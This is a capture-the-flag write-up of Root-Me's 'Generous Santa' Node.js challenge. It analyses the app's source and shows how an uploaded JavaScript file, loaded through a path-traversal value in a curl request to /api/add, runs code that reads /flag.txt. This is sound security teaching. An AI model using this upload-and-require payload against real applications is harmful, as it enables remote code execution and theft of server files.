Post

Root-Me Xmas - Generous Santa

Challenge

Upon connecting to the https://xmas.root-me.org/challenges web page and selecting the Generous Santa challenge, we are presented with the following infos :

Generous Santa

Before going further by checking the source code let’s head out to the challenge web page and see what we have to deal with.

https://day1.challenges.xmas.root-me.org/

We have 2 pages to check out, the first one is the main page where we can see a list of items that we can add to Santa’s sack.

Generous Santa Gift List

And the second one is a page where we can suggest a gift to Santa.

Suggest a gift

The second page is interesting because we can see that we can suggest a gift to Santa by providing a name and a photo. We will maybe have to exploit this feature to get the flag.

Analysing the source code

After downloading the source code of the app and unzipping it, we can see that we have the following folders and files :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Dockerfile
docker-compose.yml
src/
├── app.js
├── package.json
├── public/
│   ├── css/
│   │   └── style.css
│   ├── images/
│   │   ├── background.jpg
│   ├── models/
│   │   ├── buggati.js
│   │   ├── iphone.js
│   │   ├── ...
│   ├── routes/
│   │   ├── hotte.js
│   ├── views/
│   │   ├── index.ejs
│   │   ├── suggest.ejs

Based on the files and folders we can see that the app is being runned in a docker container and that it is using a javascript framework.

Let’s start by checking the Dockerfile :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
FROM node:18-alpine

RUN apk update && apk add --no-cache wget curl netcat-openbsd
RUN addgroup -S santa && adduser -S santa -G santa

WORKDIR /usr/app

COPY ./src/package.json ./
RUN npm install
COPY ./src/ ./

COPY flag.txt /flag.txt
RUN chown santa:santa /flag.txt

USER santa

CMD ["npm", "start"]

The Dockerfile is pretty simple, it is using the node:18-alpine image, creating a user santa and copying the source code to the /usr/app directory. It also copies the flag.txt file to the root directory and changes the owner to the santa user. We already know where the flag is located upon reading the Dockerfile.

Now let’s focus on the app.js file :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
const express = require('express');
const path = require('path');
const hotteRoutes = require('./routes/hotte');
const fs = require('fs');

const app = express();

app.use(express.json());
app.use(express.urlencoded({ extended: true }));

app.set('view engine', 'ejs');
app.set('views', path.join(__dirname, 'views'));

app.use(express.static(path.join(__dirname, 'public')));

const availableProducts = [];
fs.readdirSync(path.join(__dirname, 'models')).forEach(file => {
    const modelName = path.basename(file, '.js');
    availableProducts.push(modelName);
});

app.get('/', async (req, res) => {
    try {
        const products = availableProducts.map(productName => {
            const model = require(`./models/${productName}`);
            return {
                name: model.modelName,
                description: model.schema.obj.description.default
            };
        });

        res.render('index', { products });
    } catch (err) {
        res.status(500).send('Error when displaying products');
    }
});

app.get('/suggest', (req, res) => {
    res.render('suggest');
});

app.use('/api', hotteRoutes);

const PORT = 3000;
app.listen(PORT, () => {
    console.log(`Server is running on port ${PORT}`);
});

The app.js file is pretty simple, it is using the express framework and is defining the routes for the app. 3 routes are defined :

  • / : The main page where we can see the list of items that we can add to Santa’s sack.
  • /suggest : The page where we can suggest a gift to Santa.
  • /api : The route that is defined in the hotte.js file.

Before continuing analysing the source code, let’s head back to the web page and see the requests that are being made when playing with the app.

Let’s click on the Add to sack button for the Buggati item and see what requests are being made :

Add to sack Buggati

I wont use Burp Suite for this challenge, I will use the browser’s developer tools to see the requests that are being made.

Add to sack Buggati Request

We can see that a POST request is being made to the /api/add route with the following body :

1
2
3
{
    "name": "Buggati"
}

If we look at the source code in the hotte.js file, we can see that the /api/add route is defined as follows :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
const express = require('express');
const fs = require('fs');
const path = require('path');
const multer = require('multer');
const router = express.Router();

const storage = multer.memoryStorage();
const upload = multer({ storage: storage });

router.post('/add', async (req, res) => {
    const { product } = req.body;

    try {
        const Gift = require(`../models/${product.toLowerCase()}`);
        const gift = new Gift({ name: product, description: `Description of ${product}` });
        output = gift.store();
        res.json({ success: true, output: output });
    } catch (error) {
        res.status(500).json({ message: `Error adding the product ${product}. ${error.message}` });
    }
});

The working of the /api/add route is taking the product name from the request body and is trying to create a new instance of the Gift model with the name and description of the product. The store method is then called on the gift object and the output is returned in the response.

So if we want to add the bugatti item to Santa’s sack, we need to create a new instance of the Buggati model and call the store method on it. The store method is defined in the bugatti.js file as follows :

1
2
3
4
5
6
7
8
9
10
11
12
13
const mongoose = require('mongoose');

const bugattiSchema = new mongoose.Schema({
    name: { type: String, default: 'Bugatti' },
    description: { type: String, default: 'A luxury high-performance sports car.' }
});

bugattiSchema.methods.store = function() {
    console.log('Bugatti stored in the sack.');
    return this;
};

module.exports = mongoose.model('Bugatti', bugattiSchema);

We see the return this; statement in the store method, this means that the store method is returning the object itself. This is interesting because we can see that the output of the store method is being returned in the response of the /api/add route.

Add to sack Buggati Response

Hmmmm, okay we have a hint here, we can maybe exploit this feature to get the flag and retrieve it from the output of the store method.

Going back to the source code, we can see that the /api/suggest route is defined in the hotte.js file as follows :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
router.post('/suggest', upload.single('photo'), (req, res) => {
    const { name } = req.body;

    if (!name || !req.file) {
        return res.status(400).json({ message: 'Name and photo are required.' });
    }

    const now = new Date();
    const dateStr = now.toISOString().split('T')[0];
    const timeStr = `${now.getHours()}-${now.getMinutes()}-${now.getSeconds()}`;
    const tempDir = path.join('/tmp', `${dateStr}_${timeStr}`);

    fs.mkdirSync(tempDir, { recursive: true });

    const tempPath = path.join(tempDir, req.file.originalname);

    fs.writeFile(tempPath, req.file.buffer, (err) => {
        if (err) {
            return res.status(500).json({ message: `Error saving the image: ${err.message}` });
        }
           console.log(tempPath);
        res.json({ message: `Thank you! Santa will consider your suggestion.`, photoPath: tempPath });
    });
});

The /api/suggest route is taking the name and photo from the request body and is saving the photo in a temporary directory. The path of the photo is then returned in the response.

We now have all the puzzle pieces to solve the challenge, we need to suggest a gift to Santa by providing a name and a photo that is not a photo but a javascript model that will return the flag in the store method. We will then use the /api/add request to add the gift to Santa’s sack and retrieve the flag from the response.

Exploiting the app

Let’s create a new javascript model that will return the flag in the store method :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const mongoose = require("/usr/app/node_modules/mongoose");
const fs = require('fs');

const payloadSchema = new mongoose.Schema({
    name: { type: String, default: 'Payload' },
    description: { type: String, default: 'A luxury high-performance payload.' }
});

payloadSchema.methods.store = function() {
    const data = fs.readFileSync('/flag.txt', 'utf8');
    return data;
};

module.exports = mongoose.model('Payload', payloadSchema);

We need to include mongoose using the absolute path because the node_modules directory is not in the same directory as the model. We also need to include the fs module to read the flag from the flag.txt file.

Now let’s suggest the gift to Santa by providing the name Payload and the photo that is the javascript model we just created. We will then use the /api/add request to add the gift to Santa’s sack and retrieve the flag from the response.

After injecting the payload in the photo, we have its path

Payload Path

We just need to point to this path in the request to add the gift to Santa’s sack.

1
 curl -kX POST https://day1.challenges.xmas.root-me.org/api/add -H 'Content-Type: application/json' -d "{\"product\":\"../../../tmp/2024-12-03_12-35-10/payload.js\"}"

And voila, we have the flag !

Flag

This post is licensed under CC BY 4.0 by the author.